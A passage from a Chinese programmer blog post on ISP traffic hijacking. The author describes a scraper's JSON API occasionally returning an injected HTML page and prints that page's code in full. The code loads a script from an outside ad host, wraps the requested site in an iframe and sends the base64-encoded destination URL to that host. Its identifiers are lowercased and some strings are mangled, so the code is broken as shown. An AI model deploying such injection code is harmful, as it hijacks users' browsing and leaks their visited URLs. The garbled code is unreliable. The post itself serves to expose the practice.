如何进行运营商劫持，揭秘运营商劫持的常见手段

程序员文章站 2023-11-26 22:22:31

运营商劫持，是常见的流氓手段，它们老少通吃，连孩子都不放过，经常嚣张的在右下角或者网页头尾，弹出一些羞羞的广告。这让正在辅导孩子功课的妈妈，很难解释。一、前言一道经典面试题：当你输入一个网址后回车，实...

运营商劫持，是常见的流氓手段，它们老少通吃，连孩子都不放过，经常嚣张的在右下角或者网页头尾，弹出一些羞羞的广告。这让正在辅导孩子功课的妈妈，很难解释。

一、前言

一道经典面试题：当你输入一个网址后回车，实际会发生什么？

那得看输的啥网址，淘宝剁手、百度伤身、腾讯伤肾……

二、神秘的返回

那日风和日丽、万里无云，延迟退到不足50ms，是个散养爬虫的好日子~

与往常相同，一通风骚操作，数据便如百川入海般成功落库。刚想泡杯咖啡，瞧瞧久违的天空，一道绵长的报错信息就宛如拉稀般泼向屏幕！

草(一种植物)，莫不是被发现了？赶紧看看

草！(一种强大植物) 。这是个啥？原以为会返回异常状态码，或者错误json，再不济是伪数据，没想到连数据格式都改了，整了一html丢过来？

可这接口，明明都是json。

喝口白水想安抚下结果烫了嘴……思前想后。产品光喝酒不吃菜也不能下这需求，再说我这小蚊子不至于拿炮轰吧。

一定有！——问！——题！

暴起捞日志，查看频率。大约10道请求有一道异常，于是顺手拿到全部html代码。让我们学习一下…

<html>
 <head>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
 </head>
 <script>
 window["$$$wins_pm"] = {
 "a": "https://atplay.cn/banner/indexsd.aspx",
 "m": "http://baidu.com/",
 "_xus": "ybsow1mgmpsodbfpmbfjybqjmzsjmbsxm3go",
 "_xai": "0"
 };
 var xp=null,key="d=123",lo=location.href,ho=false;
 function cu(u){
 var p=u.indexof("?");
 if(p>0)
 u=u.slice(0,p+1)+key+"&"+u.slice(p+1);
 else
 u+="?"+key;
 return u;
 }
 function base64() {
 _keystr = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/=";
 this.encode = function(input) {
 var output = "";
 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
 var i = 0;
 input = _utf8_encode(input);
 while (i < input.length) {
 chr1 = input.charcodeat(i++);
 chr2 = input.charcodeat(i++);
 chr3 = input.charcodeat(i++);
 enc1 = chr1 >> 2;
 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
 enc4 = chr3 & 63;
 if (isnan(chr2)) {
 enc3 = enc4 = 64
 } else if (isnan(chr3)) {
 enc4 = 64
 }
 output = output + _keystr.charat(enc1) + _keystr.charat(enc2) + _keystr.charat(enc3) + _keystr.charat(enc4)
 }
 return output
 };
 this.decode = function(input) {
 var output = "";
 var chr1, chr2, chr3;
 var enc1, enc2, enc3, enc4;
 var i = 0;
 input = input.replace(/[^a-za-z0-9+/=]/g, "");
 while (i < input.length) {
 enc1 = _keystr.indexof(input.charat(i++));
 enc2 = _keystr.indexof(input.charat(i++));
 enc3 = _keystr.indexof(input.charat(i++));
 enc4 = _keystr.indexof(input.charat(i++));
 chr1 = (enc1 << 2) | (enc2 >> 4);
 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
 chr3 = ((enc3 & 3) << 6) | enc4;
 output = output + string.fromcharcode(chr1);
 if (enc3 != 64) {
 output = output + string.fromcharcode(chr2)
 }
 if (enc4 != 64) {
 output = output + string.fromcharcode(chr3)
 }
 }
 output = _utf8_decode(output);
 return output
 };
 _utf8_encode = function(string) {
 string = string.replace(/rn/g, "n");
 var utftext = "";
 for (var n = 0; n < string.length; n++) {
 var c = string.charcodeat(n);
 if (c < 128) {
 utftext += string.fromcharcode(c)
 } else if ((c > 127) && (c < 2048)) {
 utftext += string.fromcharcode((c >> 6) | 192);
 utftext += string.fromcharcode((c & 63) | 128)
 } else {
 utftext += string.fromcharcode((c >> 12) | 224);
 utftext += string.fromcharcode(((c >> 6) & 63) | 128);
 utftext += string.fromcharcode((c & 63) | 128)
 }
 }
 return utftext
 };
 _utf8_decode = function(utftext) {
 var string = "";
 var i = 0;
 var c = c1 = c2 = 0;
 while (i < utftext.length) {
 c = utftext.charcodeat(i);
 if (c < 128) {
 string += string.fromcharcode(c);
 i++
 } else if ((c > 191) && (c < 224)) {
 c2 = utftext.charcodeat(i + 1);
 string += string.fromcharcode(((c & 31) << 6) | (c2 & 63));
 i += 2
 } else {
 c2 = utftext.charcodeat(i + 1);
 c3 = utftext.charcodeat(i + 2);
 string += string.fromcharcode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
 i += 3
 }
 }
 return string
 }
 }
 window["__base64"] = new base64();
 function geturlwithparams() {
 var url = "";
 if ($$$wins_pm.a.indexof('?') > 0) {
 url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __base64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
 } else {
 url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __base64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
 }
 return url;
 }
 function gourlm() {
 var desturl = $$$wins_pm.m;
 if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1);
 return "<html></head><script>document.location.replace("" + desturl + "");</script></html>"
 };
 </script>
 <body style="margin:0;padding:0;">
 <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="javascript"></script></div>-->
 <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script>
 <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;">
 <iframe id='ifrmain' src='javascript:parent.gourlm()' scrolling=auto width='100%' height='100%' frameborder='no' onload=''></iframe>
 </div>
</body>
</html>